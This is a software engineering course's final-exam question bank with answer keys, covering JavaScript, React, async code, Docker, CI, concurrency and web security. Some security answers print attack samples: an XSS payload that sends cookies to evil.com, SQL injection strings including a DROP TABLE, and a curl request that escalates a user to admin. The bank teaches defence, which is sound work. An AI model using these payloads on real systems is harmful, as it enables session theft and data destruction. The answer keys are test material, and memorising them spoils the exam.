

Final Exam — Question Bank

Software Engineering — UATX — Spring 2026

Working bank of **49 questions** spanning lectures 5.1 through 10.1. From it we draw two parallel seven-question papers: a **Sample Exam** (released for practice, with a key) and the real **Final**, same shape, different questions.

How these questions are built. The class codes with agents, so every question tests a skill the agent cannot do for the student: reading code and predicting behavior, finding bugs by inspection, writing the spec and decisions you would hand the agent (in prose, not syntax), judging which of two implementations is better, and making design calls under uncertainty. Nothing here rewards recalling syntax an agent would type for you. The shaded key on each page is for selection, not part of the student paper.

TOPICS

Topic	Lecture	Qs	Tests
T1 — JavaScript & TypeScript	5.1	4	reading transforms, DOM/event code, pure-vs-mutating
T2 — Async, fetch & races	5.2	4	async behavior, the three failure types, out-of-order requests
T3 — React: components & rendering	6.1	5	purity, JSX behavior, keys, what to spec vs leave to the agent
T4 — React state & effects	7.1	6	state snapshots, effect deps / stale closures, loading-error-data
T5 — Deployment, auth & secrets	7.2	4	the auth contract, ownership rule, secrets, env differences
T6 — Docker	8.1	4	image layers/caching, what ships in an image, run-time wiring
T7 — CI/CD with GitHub Actions	8.2	5	the fresh-VM model, secrets in CI, commit/PR hygiene
T8 — Concurrency	9.1	7	lost-update races, shared state, transactions as locks
T9 — Web security basics	9.2	6	injection, XSS, the broken-access-control family, audits
T10 — Building an agent	10.1	4	the loop & messages state, the tool round-trip, tool safety

PROPOSED BLUEPRINT (7 QUESTIONS)

Keeps all five midterm categories and adds a second trace and a second spot-the-bug, with JS/React guaranteed in at least two slots.

Slot	Type	Draws	JS/React
Q1	Trace-through	read code, predict behavior	
Q2	Trace-through	second trace (JS/React or concurrency)	JS/React
Q3	Spot the bug	agent output, multi-defect	JS/React
Q4	Spot the bug	security endpoint	
Q5	Specification	contract + decisions, in prose	
Q6	Code review	judge two implementations	
Q7	Short design	a design call under uncertainty	

The script runs to completion. Give the value printed at A, B, C, and D.

```
const todos = [
  { id: 1, title: "read notes", done: true, priority: 2 },
  { id: 2, title: "write fetch", done: false, priority: 1 },
  { id: 3, title: "pick up milk", done: false, priority: 3 },
  { id: 4, title: "call the vet", done: true, priority: 1 },
];

const a = todos.filter(t => !t.done).map(t => t.title);
console.log("A:", a); // ____

const b = todos.filter(t => t.done).length;
console.log("B:", b); // ____

const c = todos.filter(t => !t.done).reduce((s, t) => s + t.priority, 0);
console.log("C:", c); // ____

console.log("D:", 1 === "1", 0 == false, null === undefined); // ____
```

ANSWER / KEY

A: ["write fetch", "pick up milk"]. B: 2. C: 4 (priorities 1 + 3 of the two pending todos).

D: false true false. === does no coercion so 1 === "1" is false; == coerces, so 0 == false is true; null === undefined is false (only loose == makes those two equal).

Your agent wrote this to display the pending todos, newest first, in the page's `<ul id="todo-list">`. It runs and shows todos. It has at least three defects -- one corrupts data, one is a safety hole, one is a correctness nit. For each: one sentence on what goes wrong and one on the fix.

```
// todos came from the server: { id, title, done, priority }
function renderPending(todos) {
  const list = document.querySelector("#todo-list");
  const pending = todos.sort((a, b) => b.id - a.id)
                        .filter(t => t.done == false);
  list.innerHTML = "";
  for (const t of pending) {
    list.innerHTML += "<li>" + t.title + "</li>";
  }
}
```

ANSWER / KEY

1. `todos.sort(...)` sorts in place, so it permanently reorders the caller's array (the source data everyone else holds). Sort a copy: `[...todos].sort(...)`.
2. `list.innerHTML += "<li>" + t.title` injects `title` as HTML, so a title containing markup breaks the list or runs script (the XSS pattern). Build the `<li>` with `createElement + textContent` and append it.
3. `t.done == false` is loose equality; the class rule is strict. Use `!t.done` (or `t.done === false`).

Bonus: rebuilding `innerHTML` every loop iteration re-parses the whole list each time.

Two implementations of `doneTitles(todos)`. Both are meant to return a new array of the uppercased titles of the done todos, leaving the input array untouched. Pick one. Justify in three to five sentences, and call out anything that is actually broken in either version.

```
// Version A
function doneTitles(todos) {
  const out = [];
  for (const t of todos) {
    if (t.done) {
      t.title = t.title.toUpperCase();
      out.push(t.title);
    }
  }
  return out;
}

// Version B
function doneTitles(todos) {
  return todos
    .filter(t => t.done)
    .map(t => t.title.toUpperCase());
}
```

ANSWER / KEY

B is correct. A is broken: `t.title = t.title.toUpperCase()` mutates each done todo inside the caller's array, so the original data is changed -- the spec said leave the input untouched. B reads cleanly, never mutates, and the `.filter().map()` chain states intent directly.

Defending A only works if you also fix the mutation (push `t.title.toUpperCase()` without reassigning `t.title`). Full marks require naming the mutation as the real bug, not just preferring B's style.

Your agent produced this submit handler to POST a new message and show it. It works when you click slowly on a good connection. Find at least three defects; for each, one sentence on what goes wrong and one on the fix.

```
const form = document.querySelector("#new") as HTMLFormElement;
const input = document.querySelector("#text") as HTMLInputElement;
const list = document.querySelector("#list") as HTMLUListElement;

form.addEventListener("submit", async (event) => {
  const response = await fetch("/api/messages", {
    method: "POST",
    body: { text: input.value },
  });
  const created = await response.json();
  const li = document.createElement("li");
  li.textContent = input.value;
  list.append(li);
});
```

ANSWER / KEY

1. No `event.preventDefault()`. The form submits and reloads the page, discarding the async work. Call it first.
2. `body` is a raw object. It must be `JSON.stringify({ text: input.value })` plus a `headers: { "Content-Type": "application/json" }`, or the server cannot read it.
3. No `response.ok` check. `fetch` does not throw on 4xx/5xx, so a rejected POST still appends an item. Guard with `if (!response.ok) throw ...` inside a `try/catch`.

Bonus: it renders `input.value` instead of `created.text`, so it shows the raw input rather than the server's stored version (id, trimming, normalization).

For each scenario, say which path runs: the `if (!response.ok) throw`, the `catch`, or neither (returns data).

```
async function load(): Promise<Message[]> {  
  try {  
    const response = await fetch("/api/messages");  
    if (!response.ok) throw new Error(`HTTP ${response.status}`);  
    return await response.json();  
  } catch (err) {  
    console.error(err);  
    return [];  
  }  
}
```

- (a) Server returns 200 with valid JSON.
- (b) Server returns 500.
- (c) The wifi is off and fetch cannot reach the server.
- (d) Server returns 200 but the body is `<html>...` (not JSON).

ANSWER / KEY

- (a) Neither -- returns the data.
- (b) The `if (!response.ok) throw` fires, then `catch` returns `[]`.
- (c) The fetch promise rejects, so `catch` returns `[]` (the `if` never runs).
- (d) `response.json()` throws while parsing, so `catch` returns `[]`.

Only the HTTP-error case needs the manual `.ok` check; network failure and bad JSON throw on their own.

A search box calls `loadFiltered(filter)` on every keystroke; each call does `await fetch('/api/messages?filter=' + filter)` then `renderMessages(data)`. A user types "cat" quickly. Sometimes the list ends up showing results for "ca" instead of "cat".

1. In a sentence or two, explain how that happens even though each individual fetch is correct.
2. Identify the tool from class that fixes it, and describe the shape of the fix (what you keep, what you do at the start of each call).
3. Name one step in the fix that is easy to forget, and what breaks without it.

ANSWER / KEY

1. The requests resolve out of order. The "ca" request can return after the "cat" request, so its later `renderMessages` overwrites the newer results, leaving the list showing whichever response arrived last rather than the most recently typed query.
2. `AbortController`. Keep one controller in scope; at the top of each call, abort the previous one and create a fresh `AbortController`, passing its `signal` to `fetch` so a superseded request is cancelled.
3. Ignoring the `AbortError` in the catch. Without that check, every cancelled request looks like a real failure and surfaces an error.

Your agent wrote this to render a chat newest-first. It renders. It has at least three problems -- a React-purity bug, a list-identity bug, and a missing state. For each: one sentence on what goes wrong and one on the fix.

```
function MessageList({ messages }) {  
  messages.sort((a, b) => b.id - a.id);  
  return (  
    <ul>  
      {messages.map((m, i) => (  
        <li key={i}>{m.author}: {m.text}</li>  
      ))}  
    </ul>  
  );  
}
```

ANSWER / KEY

1. `messages.sort(...)` mutates the prop array during render. A component must be a pure function of its props; mutating them can corrupt the parent's state. Sort a copy:
`[...messages].sort(...)`.
2. `key={i}` uses the array index. When the list reorders or an item is inserted, React mis-associates rows (and their state). Use a stable id: `key={m.id}`.
3. There is no empty state -- zero messages renders a bare `<ul>`. Add `{messages.length === 0 && <p>No messages yet</p>}`.

Note `{m.text}` itself is fine -- JSX escapes it, so it is not an XSS hole the way `innerHTML` would be.

Describe the visible output for two cases: (i) `todos = []`, and (ii) `todos = [{ id: 1, title: "a", done: true }]`.

```
function TodoList({ todos }) {  
  return (  
    <div>  
      {todos.length === 0 && <p>No todos yet!</p>}  
      <ul>  
        {todos.map((t) => (  
          <li key={t.id} className={t.done ? "done" : ""}>  
            {t.done ? "[x] " : "[ ] "} {t.title}  
          </li>  
        ))}  
      </ul>  
    </div>  
  );  
}
```

ANSWER / KEY

- (i) Empty: shows `No todos yet!` (the `&&` left side is true so the `<p>` renders), followed by an empty `<ul>`.
- (ii) One done todo: no `<p>` (the `&&` is false), and the `<ul>` holds one `<li class="done">` reading `[x] a`.

Key idea: `&&` renders the element when the left side is truthy and nothing when falsy; the ternary picks the prefix and the class.

You are about to hand an agent the job of building a `<MessageThread>` component that loads the messages for a given `threadId` and lets the user post a new one. Do not write any code. Write the spec:

1. What pieces of state/data the component needs, and where each comes from.
2. The display states it must handle -- name them.
3. One behavior that is easy to get wrong here, that you would call out to the agent explicitly.
4. One product decision that is ambiguous, and the call you would make.

ANSWER / KEY

1. The list of messages (from `GET /api/messages?thread=threadId`), a loading flag, an error value, and the draft text in the input. The messages depend on `threadId`.
2. Loading, error, empty, and loaded -- four states the UI must render distinctly.
3. Re-fetch when `threadId` changes (the effect must depend on `threadId`, or it shows the old thread -- the stale-closure trap); and append the server's returned message, not the raw input text.
4. Ambiguity, e.g.: does posting optimistically append before the server confirms, or wait for the response? Does a successful post refetch the whole thread or append one row? State the call you would make. Any reasonable decision earns marks; the point is naming a real ambiguity.

Feature request to your agent: "As the user types in the search box, show matching products."
The agent's first cut is below, and it works in a quick demo. Before you let it ship, write the spec you would hand back. Do not write code.

```
function ProductSearch() {
  const [results, setResults] = useState([]);
  const [query, setQuery] = useState("");
  useEffect(() => {
    fetch(`/api/products?q=${query}`)
      .then(r => r.json())
      .then(setResults);
  }, [query]);
  return (
    <div>
      <input value={query} onChange={e => setQuery(e.target.value)} />
      <ul>{results.map(p => <li key={p.id}>{p.name} (${p.price})</li>)}</ul>
    </div>
  );
}
```

1. The display states this UI must handle -- name them.
2. Two behaviors it is currently missing or getting wrong (look hard at a fast typist on a flaky network).
3. One product decision that is ambiguous, and the call you would make.

ANSWER / KEY

1. Loading, error, empty ("no matches"), and results -- plus the initial state, where an empty query currently fires a fetch for everything.
2. Any two: no `response.ok` / error handling, so a failed request silently shows nothing; out-of-order responses (the 5.2 race) -- type "cat" fast and the slower "ca" response can land last and overwrite the newer results, so superseded requests should be cancelled/ignored (`AbortController`); a fetch on every keystroke hammering the API (wants debounce); an empty query probably should not fetch at all.
3. A real ambiguity, e.g.: does an empty box show all products, nothing, or recent/popular? Is there a minimum query length? State your call.

A student clicks the button once, starting from 0. What number shows afterward, and why in one sentence? What one change would make it show 2?

```
function DoubleClicker() {  
  const [count, setCount] = useState(0);  
  function bump() {  
    setCount(count + 1);  
    setCount(count + 1);  
  }  
  return <button onClick={bump}>{count}</button>;  
}
```

ANSWER / KEY

Shows 1. `count` was 0 in this render's snapshot, so both calls are `setCount(0 + 1)` -- two writes of the same value, and React stores 1.

To get 2, use the functional updater both times: `setCount(c => c + 1)`, which applies to the latest queued value rather than the frozen snapshot.

Two versions of a profile component, identical except for the last line of the effect. The user navigates from `/users/123` to `/users/456`, so the `userId` prop changes. One keeps showing 123's data. Which version is correct, why does the other one break, and what is the general name for that bug?

```
// Version A
function UserProfile({ userId }) {
  const [user, setUser] = useState(null);
  useEffect(() => {
    fetch(`/api/user/${userId}`).then(r => r.json()).then(setUser);
  }, []);
  return <div>{user?.name}</div>;
}

// Version B -- last line is:   }, [userId]);
```

ANSWER / KEY

B is correct. A's effect has an empty deps array, so it runs once on mount and captures the first `userId` (123); when the prop changes, React never re-runs the effect, so the stale result stays on screen. B depends on `userId`, so the effect re-fetches whenever it changes.

This is the stale-closure / missing-dependency bug -- the most common `useEffect` mistake. Good answers note the empty array is exactly right for a one-time-on-mount fetch, and wrong the moment the effect reads a value that can change.

This agent-written component should fetch and show messages with loading and error states. Find at least three defects; one sentence each on what goes wrong and the fix.

```
function Messages() {
  const [messages, setMessages] = useState([]);
  const [loading, setLoading] = useState(false);
  useEffect(() => {
    async function load() {
      const r = await fetch("/api/messages");
      setMessages(await r.json());
      setLoading(false);
    }
    load();
  });
  if (loading) return <p>Loading...</p>;
  return <ul>{messages.map(m => <li>{m.text}</li>)}</ul>;
}
```

ANSWER / KEY

1. `loading` starts `false`, so the loading branch never shows during the first fetch. Initialize `useState(true)`.
2. No deps array on `useEffect`, so it runs after every render; setting state re-renders, which refetches -- an infinite loop hammering the API. Add `, []`.
3. No `response.ok` check and no `try/catch`, so there is no error state and a failure leaves `loading` stuck. Wrap in `try/catch/finally` with an `error` state.

Bonus: the mapped `<li>` is missing `key={m.id}`.

You are adding `GET /api/me/posts` (the logged-in user's posts) to the BBS API. Auth is a Supabase JWT sent as a bearer token. Do not write code. Specify:

1. In words, how the endpoint establishes who is calling.
2. The one rule that guarantees user A can never see user B's posts, and where that rule lives.
3. The status codes for: success, a missing or invalid token, and a logged-in user who has no posts.
4. One thing you would want nailed down before handing this to the agent.

ANSWER / KEY

1. Verify the bearer token's signature and read the user id out of the verified token's claims. Identity comes from the token, never from anything the client puts in the URL or body.
2. The database query filters posts by the authenticated user's id in the WHERE clause -- ownership lives in the query, not in a trusted request field. This is the IDOR defense from 9.2.
3. 200 for success; 401 for a missing, invalid, or expired token; 200 with an empty list for a user who simply has no posts (not 404).
4. A real ambiguity, e.g.: pagination and ordering, or whether "my posts" includes drafts / soft-deleted posts. Naming one and making a call earns the marks.

A team is about to deploy. Find three things wrong with this setup; one sentence each on what and the fix.

```
# config.py (committed to the repo)
DATABASE_URL = "postgresql://postgres:hunter2@db.supabase.co:5432/postgres"
JWT_SECRET   = "super-secret-signing-key-abc123"

# .gitignore is empty
# the React build is served by Vercel; the API runs on Railway
```

ANSWER / KEY

1. Real secrets are hardcoded and committed -- now in git history forever. Move to env vars from a gitignored `.env` locally and the platform dashboard in prod, and rotate them since they leaked.
2. `.gitignore` does not list `.env` (or `config.py`). Add it before the next commit.
3. Serving the frontend on Vercel while the API is on Railway puts them on different origins, reintroducing the CORS the single-service architecture avoids. Serve the built frontend from the API.

Your app reads `DATABASE_URL` and `JWT_SECRET` from environment variables; locally they live in a gitignored `.env`. You are deploying to Railway for the first time. Answer all three:

1. Where do these two values go in production, and why not in the repo?
2. You realize you committed `.env` last week, before adding it to `.gitignore`. You remove it in a new commit. Is that enough? Why or why not, and what do you actually do?
3. Your frontend also needs to talk to your backend. Name one kind of value it is safe to ship in the browser bundle and one that must never leave the server, and the rule that decides.

ANSWER / KEY

1. Into the platform's config (Railway dashboard env vars), injected at runtime. Not in the repo because anything committed is readable by everyone with repo access and stays in git history forever.
2. Not enough. The secret is already in the git history (and every clone/fork), so a later deletion commit does not remove it from history. Treat it as leaked: rotate the secret (new DB password / JWT signing secret) and update the dashboard value; scrubbing history is unreliable once it has been pushed.
3. Safe in the browser: things meant to be public, e.g. the API base URL or a publishable/anon key. Must stay server-side: the JWT signing secret, a service-role key, the DB password. The rule: if the browser can see it, the whole world can, so only values meant to be public may ship to the client.

You edit one line in `app.py` and run `docker build` again. Which numbered layers rebuild, and why?

```
[1] FROM python:3.14
[2] WORKDIR /app
[3] COPY requirements.txt .
[4] RUN pip install -r requirements.txt
[5] COPY . .
[6] CMD ["uvicorn", "app:app", "--host", "0.0.0.0", "--port", "8000"]
```

ANSWER / KEY

Layers [5] and [6] rebuild.

Caching is top-down: [1]-[4] are reused because `requirements.txt` did not change. [5] (`COPY . .`) now sees a changed file, so it rebuilds, and every layer after a rebuilt one rebuilds too -- hence [6]. Copying deps before code is exactly what keeps [3]/[4] cached on a code edit.

A teammate builds this image and `docker push` es it to a registry so you can pull it. The project dir holds `app.py`, `requirements.txt`, `Dockerfile`, and a `.env` with `DATABASE_URL` and `JWT_SECRET`. What did they just publish, and what is the fix?

```
FROM python:3.14
WORKDIR /app
COPY requirements.txt .
RUN pip install -r requirements.txt
COPY . .
CMD ["uvicorn", "app:app", "--host", "0.0.0.0", "--port", "8000"]
```

ANSWER / KEY

`COPY . .` copies the whole directory including `.env`, so the real secrets are baked into an image layer that anyone who pulls the image can read.

Fix: add a `.dockerignore` listing `.env` (and `.git`, `__pycache__`), and inject secrets at run time (`-e` / `--env-file` / the dashboard). Rotate the secrets, since the pushed image leaked them.

The container is clearly running but the browser cannot reach it. One sentence on the bug, one on the fix.

```
$ docker run chat-app
INFO:      Uvicorn running on http://0.0.0.0:8000
$ docker ps
# ... PORTS column is empty
$ curl localhost:8000
curl: (7) Connection refused
```

ANSWER / KEY

The `docker run` is missing the port publish, so the container's port 8000 is not mapped to the host and nothing on localhost reaches it.

Fix: `docker run -p 8000:8000 chat-app`. The "uvicorn bound to the wrong address" distractor is ruled out -- it is already on `0.0.0.0`.

Your agent generated this Dockerfile for the FastAPI service. It is the team's deploy image: pushed to a shared registry (GitHub Container Registry) that teammates and the deploy server pull from, and rebuilt on every push to `main`. The project directory also contains a `.env` with more secrets, and there is no `.dockerignore`.

```
FROM python:3.14
WORKDIR /app

COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt

COPY . .

# image-processing system library the app shells out to
RUN apt-get update && apt-get install -y imagemagick

ENV JWT_SECRET="prod-signing-key-7f3a9c2b"
ENV DATABASE_URL="postgresql://app:s3cr3t@db.internal:5432/app"

CMD uvicorn app:app --host 0.0.0.0 --port $PORT
```

1. The team rebuilds this image many times a day as they edit application code, and rebuilds are slower than they should be. One thing here is already done right and one step is the culprit -- identify both, and restructure so a one-line change to `app.py` rebuilds quickly.
2. This image is pushed to a shared registry. What secrets does it expose, by what mechanisms, and how do you keep them out of the image?
3. You realize this image was already pushed last week. You delete the secrets from the Dockerfile and add a `.dockerignore` now. Is that enough? What do you actually do?

ANSWER / KEY

1. Already right: `requirements.txt` is copied and installed before `COPY . .`, so the dependency layer stays cached when only code changes -- do not "fix" that. The culprit: the `apt-get install imagemagick` step sits AFTER `COPY . .`, so a slow system install re-runs on every code edit (and so does everything below it). Restructure so stable, slow steps are high and fast-changing code is last: move the `apt-get install` near the top, then `COPY requirements.txt + pip install`, then `COPY . .`. Now a one-line `app.py` change invalidates only the final copy layer.
2. Two vectors. (a) `ENV JWT_SECRET=...` / `ENV DATABASE_URL=...` hardcode real secrets into the image (readable via `docker history` and to anyone who pulls) and into the Dockerfile, which lives in the repo. (b) With no `.dockerignore`, `COPY . .` also bakes the project's `.env` into a layer. Fix: take secrets out of the Dockerfile entirely and inject them at run time (`-e` / `--env-file` / dashboard), and add a `.dockerignore` (excluding `.env`, `.git`, `__pycache__`) so nothing secret is copied in.

3. Not enough. The secrets are already inside the image that was pushed (its layers and history), so cleaning the Dockerfile now does not change what is already published. Treat them as leaked: rotate them (new DB password / JWT signing secret), rebuild and repush a clean image, and update the runtime config with the new values.

A student removes one line from the minimal workflow and pushes. Which step in the Actions run goes red, and why?

```
name: Tests
on: [push, pull_request]
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/setup-python@v6
        with:
          python-version: "3.14"
      - run: pip install -r requirements.txt
      - run: pytest
```

ANSWER / KEY

`pip install -r requirements.txt` goes red.

Each job starts on a clean VM with nothing checked out. `setup-python` installs Python fine (it does not need your code). Then `pip install` looks for `requirements.txt`, which is not there -- the missing step is `- uses: actions/checkout@v6` at the top.

This deploy workflow has two security problems. Name both (one sentence each) and give the safe pattern.

```
jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v6
      - name: Ship
        env:
          API_KEY: sk-live-9f3a8d2b7c1e4f5a6b9d0e2f
        run: |
          echo "Deploying with key: $API_KEY"
          curl -X POST https://api.example.com/deploy \
            -H "Authorization: Bearer $API_KEY"
```

ANSWER / KEY

1. The key is a hardcoded literal in a file that lives in the repo and its history, readable by anyone with read access (and every fork / PR).
2. `echo "...$API_KEY"` prints it into the build log, which is public for PR runs.

Safe pattern: store it in repo Settings -> Secrets, reference `${{ secrets.API_KEY }}` (encrypted at rest, masked in logs), and never echo it. Rotate the leaked key.

Two students each fixed the same bug across the same five files. Student A made one 400-line commit titled "fixes". Student B made six small, single-purpose commits with descriptive messages, squashed into the PR. Weeks later CI goes red on `main` and someone runs `git bisect`. Whose history would you rather be bisecting? Then:

1. justify in three to five sentences with at least two reasons,
2. name one thing A's approach does better,
3. name two habits from class that make either history easier to debug.

ANSWER / KEY

B is the expected pick. (1) Bisect lands on a single commit; with B that commit is a small, single-purpose diff you can read in a minute, while A's lands you on 400 lines titled "fixes". Small commits also give failure attribution and reviewable PRs.

(2) A is faster to write and lands atomically -- fine for a throwaway or an indivisible change.

(3) Squash each PR to one commit so bisecting `main` isolates to one PR; keep PRs small / scoped / described / green; write messages that say what changed and why. Picking A and defending it ("for one indivisible change the ceremony is noise") can earn credit if the bisect tradeoff is named.

This workflow runs the test suite on every push; two of the tests are shown below. On the developer's laptop the suite passes every time. In CI, `test_lists_single_user` fails about half the time.

```
# .github/workflows/test.yml
name: Tests
on: [push, pull_request]
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v6
      - uses: actions/setup-python@v6
        with: { python-version: "3.14" }
      - run: pip install -r requirements.txt
      - run: pytest -n auto          # runs tests in parallel across CPUs
```

```
# conftest.py + test_users.py (app talks to the module-level db.engine)
@pytest.fixture
def client():
    return TestClient(app)

def test_create_user(client):
    r = client.post("/users", json={"username": "alice"})
    assert r.status_code == 201

def test_lists_single_user(client):
    users = client.get("/users").json()
    assert len(users) == 1
```

1. Why does `test_lists_single_user` pass locally but fail intermittently in CI?
2. Is the bug in the workflow or in the tests? Point to the specific cause.
3. Give two fixes -- one to the tests, one you could make to the workflow -- and say which is the real fix.

ANSWER / KEY

1. The tests share one database (the module-level `db.engine`) with no per-test isolation, and `test_lists_single_user` asserts an exact global count. Locally the suite runs serially in a stable order against a known DB; CI runs on a fresh VM with `pytest -n auto`, so `test_create_user` (and any other user-creating test) runs in parallel and the count is 0, 1, or 2 unpredictably.
2. The bug is in the tests: no isolation, plus an assertion on global state (`len(users) == 1`) that only holds under a specific order/state. The workflow merely exposes it via the fresh VM and parallelism.
3. Test fix (the real one): isolate each test with a `test_db` fixture (swap `db.engine` to a fresh in-memory engine per test) and have the test arrange its own data and assert on that user, not a global

count. Workflow fix (a band-aid): drop `-n auto` so tests run serially -- it hides the flake but leaves the shared-state bug.

Two `withdraw($10)` requests hit this code at the same time against a starting balance of \$100. There is no transaction, and each handler runs the three steps below. Both reads happen before either write. What is the final balance, what should it have been, and why does the discrepancy happen?

```
def withdraw(account_id, amount):  
    bal = read_balance(account_id)      # SELECT balance ...  
    new_bal = bal - amount  
    write_balance(account_id, new_bal)  # UPDATE balance ...
```

ANSWER / KEY

Final: \$90. Should have been \$80. Both reads see 100, both compute 90, both write 90 -- one withdrawal is silently lost.

It is a lost update (a read-modify-write race). The fix makes read-and-write atomic with a transaction / row lock, so the second withdrawal reads the already-updated balance.

Two requests, alice and bob, hit this endpoint at nearly the same moment. Explain how alice's withdrawal can come out of bob's account; then give the fix in one sentence.

```
current_user: str | None = None

@app.post("/transfer")
def transfer(req: TransferRequest):
    global current_user
    current_user = req.username           # stash who is calling
    account = look_up_account()          # some I/O, takes a moment
    deduct(current_user, req.amount)     # read it back
```

ANSWER / KEY

`current_user` is a module-level global shared by every request on the process. Alice sets it to "alice"; during `look_up_account()` bob's request runs and overwrites it to "bob"; when alice's handler resumes, `current_user` is "bob", so it deducts from bob.

Fix: do not stash per-request data in module / global state -- keep identity in a local variable / the request scope. This is why statelessness is a concurrency decision.

Two implementations of the same `withdraw`. Pick the one you would ship, justify with at least two reasons, and name one situation where the difference does NOT matter.

```
# Version A
def withdraw(account_id, amount):
    with db.engine.begin() as conn:
        row = conn.execute(
            text("SELECT balance FROM accounts WHERE id = :id"),
            {"id": account_id},
        ).first()
        conn.execute(
            text("UPDATE accounts SET balance = :b WHERE id = :id"),
            {"b": row.balance - amount, "id": account_id},
        )

# Version B
def withdraw(account_id, amount):
    with db.engine.begin() as conn:
        row = conn.execute(
            text("SELECT balance FROM accounts WHERE id = :id FOR UPDATE"),
            {"id": account_id},
        ).first()
        conn.execute(
            text("UPDATE accounts SET balance = :b WHERE id = :id"),
            {"b": row.balance - amount, "id": account_id},
        )
```

ANSWER / KEY

Ship B. (1) Both wrap the work in a transaction, but A still reads and writes as a read-modify-write, so two concurrent withdrawals can both read the same balance and lose an update -- a transaction alone does not serialize them. (2) B's `FOR UPDATE` takes a row lock, so the second withdrawal waits and reads the updated value.

Where it does not matter: if writes to a given account are never concurrent (a single-threaded batch job, or an account only one request ever touches at a time), A and B behave identically. The race needs two requests on the same row at once.

Sign-up requires a unique username. Two requests try to register "alice" at the same instant. The handler is below, and there is NO unique constraint on the `username` column. Both requests run their SELECT before either runs its INSERT.

```
def register(username):
    existing = db.execute(
        text("SELECT id FROM users WHERE username = :u"), {"u": username}
    ).first()
    if existing:
        raise HTTPException(409, "username taken")
    db.execute(
        text("INSERT INTO users (username) VALUES (:u)"), {"u": username}
    )
```

1. What ends up in the `users` table, and why?
2. How does this race differ from the lost-update / read-modify-write race?
3. The team adds `UNIQUE(username)` to the column. Now what happens to the two racing requests?

ANSWER / KEY

1. Two rows for "alice". Both SELECTs run before either INSERT, so both find no existing alice, both pass the `if existing` guard, and both INSERT. The 409 check never fires.
2. Check-then-act (a time-of-check-to-time-of-use race): the check and the act are not atomic, so another request slips in between them.
3. One INSERT succeeds; the other violates `UNIQUE(username)` and raises an `IntegrityError`, which the app should catch and return as the 409. The constraint enforces uniqueness atomically at the database regardless of timing, so the earlier SELECT check is only an optimization and no longer what prevents duplicates.

A promo code grants \$10 of account credit, once per user. On a flaky connection a user double-taps redeem, so two identical requests arrive at nearly the same instant. The handler is below; both requests run their SELECT before either runs its INSERT.

```
def redeem(user_id, code):
    already = db.execute(
        text("SELECT 1 FROM redemptions WHERE user_id = :u AND code = :c"),
        {"u": user_id, "c": code},
    ).first()
    if already:
        raise HTTPException(409, "already redeemed")
    db.execute(text("INSERT INTO redemptions (user_id, code) VALUES (:u, :c)"),
               {"u": user_id, "c": code})
    db.execute(text("UPDATE accounts SET credit = credit + 10 WHERE user_id = :u"),
               {"u": user_id})
```

1. What happens, and how much credit does the user end up with?
2. A teammate wraps the whole handler in one transaction (with `db.engine.begin()` as `conn:` for each request). Does that fix the issue? Explain.
3. What actually prevents it? Give one concrete mechanism and why it is atomic.

ANSWER / KEY

1. Both SELECTs see no prior redemption, both pass the 409 guard, and both run the INSERT and the +\$10 update. The user ends with \$20 of credit (and two redemption rows) for a once-only code.
2. No. Wrapping each request in a transaction makes that request's writes commit or roll back together, but it does not lock the rows the SELECT read, so both requests still run their SELECT, see nothing, and proceed. A transaction is not a lock; on its own it does not serialize the two requests.
3. A `UNIQUE(user_id, code)` constraint on `redemptions` makes the second INSERT fail atomically (IntegrityError -> 409) regardless of timing; or take a row lock (`SELECT ... FOR UPDATE`) so the second request waits for the first to commit. The database enforces it atomically, unlike the app-level check-then-act.

Your agent produced this endpoint. Conversations are private direct-message threads. The endpoint returns a thread's messages, newest first, optionally filtered by text. It passes the obvious tests. It has at least three distinct defects -- some security, some availability. For each: a value that triggers it, one sentence on what goes wrong, and the fix.

```
@app.get("/api/conversations/{conv_id}/messages")
def list_messages(conv_id: int, q: str = "", limit: int = 100,
                  user: User = Depends(current_user)):
    sql = f"SELECT id, sender, body FROM messages WHERE conversation_id = {conv_id}"
    if q:
        sql += " AND body LIKE '%" + q + "%'"
    sql += f" ORDER BY id DESC LIMIT {limit}"
    with engine.connect() as conn:
        rows = conn.execute(text(sql)).all()
    return [dict(r._mapping) for r in rows]
```

ANSWER / KEY

1. No authorization. The query filters by `conversation_id` but never checks that the calling `user` is a participant in that conversation. Trigger: request `/api/conversations/<any id you are not in>/messages` and read strangers' private DMs (IDOR / broken access control). Fix: verify the user belongs to the conversation (join/where against a participants table), 404 otherwise.
2. SQL injection via `q`. Trigger: `q=%' OR '1'='1 (or ';' DROP TABLE messages; --)` -- the input becomes query structure. Fix: parameterize with a bound placeholder and pass the `%...%` as the value.
3. `limit` has no upper bound, so a caller can pass `limit=999999999` and force the database to scan and return the whole conversation (an availability hit). It is typed `int`, so it is not an injection vector -- the fix is just to cap it, e.g. `min(limit, 100)`.

Note `conv_id` and `limit` are typed `int`, so FastAPI coerces them and rejects non-integers; only `q`, a string interpolated into the SQL, is an injection vector.

A chat client renders each incoming message like this. Find the vulnerability, give a payload that exploits it, and the fix (including the React equivalent).

```
function renderMessage(msg) {  
  const li = document.createElement("li");  
  li.innerHTML = msg.text;  
  list.append(li);  
}
```

ANSWER / KEY

Stored XSS. `innerHTML` parses `msg.text` as HTML, so a message whose text is `<script>fetch('https://evil.com/?c=' + document.cookie)</script>` runs in every viewer's browser and exfiltrates their session cookie.

Fix: `li.textContent = msg.text`, which treats the value as literal text. In React, `{msg.text}` is auto-escaped; the only unsafe path is `dangerouslySetInnerHTML`.

Two request models for `PATCH /users/me`; both endpoints do `body.model_dump(exclude_unset=True)` and UPDATE those columns for `user.id`. Pick the safe one, explain in one sentence the exact attack the other allows, and say what makes the safe version safe.

```
# Version A
class UserUpdate(BaseModel):
    name: str | None = None
    bio: str | None = None
    is_admin: bool | None = None

# Version B
class UserSelfUpdate(BaseModel):
    name: str | None = None
    bio: str | None = None
```

ANSWER / KEY

B is safe. A accepts `is_admin` in the self-service model, so `curl -X PATCH /users/me -d '{"is_admin": true}'` makes any user an admin.

That is mass assignment (a privilege-escalation flavor of broken access control). B is safe because the request schema only contains fields the user is allowed to set, so privileged fields cannot be bound. The fix is a separate model per privilege level, not validation bolted on later.

You are reviewing a teammate's CRUD endpoints before deploy. List the authorization-audit questions from class you would run against each endpoint (aim for four), each as a one-line check.

ANSWER / KEY

1. By-id reads/writes: does the WHERE include an ownership clause (`AND owner_id = :uid`)?
2. Request bodies: can the user set a field they should not? Use a per-privilege request model.
